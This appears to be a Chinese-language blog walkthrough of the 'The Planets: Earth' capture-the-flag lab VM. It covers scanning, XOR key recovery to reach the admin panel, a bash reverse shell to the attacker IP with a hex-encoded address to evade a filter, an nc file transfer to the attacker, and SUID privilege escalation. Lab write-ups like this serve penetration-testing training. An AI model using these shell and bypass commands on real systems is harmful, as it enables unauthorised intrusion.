Vulhub靶机The Planets: Earth
第一个渗透靶机,写详细一点
kali攻击机IP:192.168.16.128
信息搜集
首先登录进去,发现需要登录密码
由于靶机和攻击机是在同一网段,使用arp-scan -l命令即可
arp-scan -l
命令用于执行本地局域网的ARP扫描,并列出扫描到的活动主机(设备)的IP地址和MAC地址。
1 | ARP(Address Resolution Protocol)是一种用于在IPv4网络中将IP地址映射到物理MAC地址的协议。 |
接着对目标主机进行端口扫描
1 | nmap -A -p 1-65535 192.168.16.136 |
-A
: 使用”全面扫描”选项,包括操作系统版本检测、服务版本检测、脚本扫描等。-p 1-65535
: 指定要扫描的端口范围。这里指定了从端口1到端口65535的全部端口范围。
可以看到有个433端口有个DNS解析,在本机hosts文件添加DNS解析,以能够访问
1 | 在Windows下,先在Windows写一个DNS解析 |
现在访问一下http://terratest.earth.local/
如果是访问IP地址的话会出现400错误,因为重定向问题:某些网站或应用程序可能会对IP地址进行重定向,将请求重定向到与域名相关的特定URL。如果您直接使用IP地址进行访问,可能会绕过这个重定向过程,导致400错误。
然后扫一下目录
1 | dirb http://terratest.earth.local/ |
访问/admin路由
进去是一个登录页面
简单爆破一下,没啥用
再扫一下https://terratest.earth.local/
发现一个robots.txt
有个/testingnotes文件,但是后缀不知道,一个一个尝试,发现是.txt后缀,得到如下信息
1 | Testing secure messaging system notes: |
翻译如下
1 | 测试安全消息系统备注: |
提到了testdata.txt文件,访问一下
1 | According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago. |
分析一下已有的信息
在该文件中发现了以下信息:
1、用户名信息:terra used as username for admin portal,用户名terra是超级管理员账户。
2、加密算法:Using XOR encryption as the algorithm, should be safe as used in RSA,加密算法XOR。
3、加密文本:testdata.txt was used to test encryption,测试数据在testdata.txt中。
xor算法:a^b=c,则c^b=a或c^a=b,所以我们就需要将发送得信息与密码本信息进行异或,得到原来发送得未加密得信息。
破解密钥
testdata.txt是明文,密文在最开始那个页面,所以我们可以利用这两个数据得到密钥
编写脚本
1 | import binascii |
得到密钥:earthclimatechangebad4humans的重复输出
利用terra和earthclimatechangebad4humans登录
获取user_flag
可以直接执行命令
1 | find / -name "*flag*" |
从根目录开始寻找文件名包含flag的文件
发现一个/var/earth_web/user_flag.txt,cat一下即可得到user的flag
还需要password的flag,反弹shell吧
1 | bash -i >& /dev/tcp/192.168.16.128/9999 0>&1 |
显示远程连接已经被禁止,使用16进制编码绕过
1 | bash -i >& /dev/tcp/0xc0.0xa8.0x70.0x82/9999 0>&1 |
成功连接
提权
查找具有权限的命令
1 | find / -perm -u=s -type f 2>/dev/null |
该命令可以在文件系统中搜索具有设置了 Setuid 权限的可执行文件。具有 Setuid 权限的可执行文件,当普通用户执行时,可以获得与拥有者(通常是 root 用户)相同的权限。
命令:find / -perm -u=s -type f 2>/dev/null
解释:
find
:用于搜索文件系统中符合条件的文件。/
:指定搜索路径为根目录,即从整个文件系统开始搜索。-perm -u=s
:表示要搜索的文件权限,这里的-perm
表示按照权限进行匹配,-u
表示用户级别权限,s
表示 Setuid 权限。-type f
:表示只搜索普通文件。2>/dev/null
:将标准错误输出重定向到/dev/null
,以避免显示不必要的错误信息。
获得以下结果:
发现有个/usr/bin/reset_root,感觉可以提权,查看一下:
1 | strings /usr/bin/reset_root |
strings
命令用于显示二进制文件中可打印的字符串。
其中这段代码值得注意一下:
使用管道操作符 |
将输出的用户名和密码传递给 /usr/sbin/chpasswd
命令来重置 root 的密码。具体来说,它将用户名设置为 “root”,密码设置为 “Earth”。
尝试直接运行一下
1 | 正在检查是否存在重置触发器... |
不知道是哪里出问题了,尝试使用strace命令进行调试,但是靶机上并没有strace命令,使用nc传到本机上
靶机上的shell执行:
1 | nc 192.168.112.130 1234 < /usr/bin/reset_root |
本机执行:
1 | nv -lvnp 1234 > reset_root |
这样就把靶机的命令传入了本机
使用strace进行调试(记得给文件赋予可执行权限)
1 | access("/dev/shm/kHgTFI5G", F_OK) = -1 ENOENT (没有那个文件或目录) |
没有相关文件的原因,那么我们就在靶机上创建相关文件
然后执行相关命令即可获得root_flag
收工!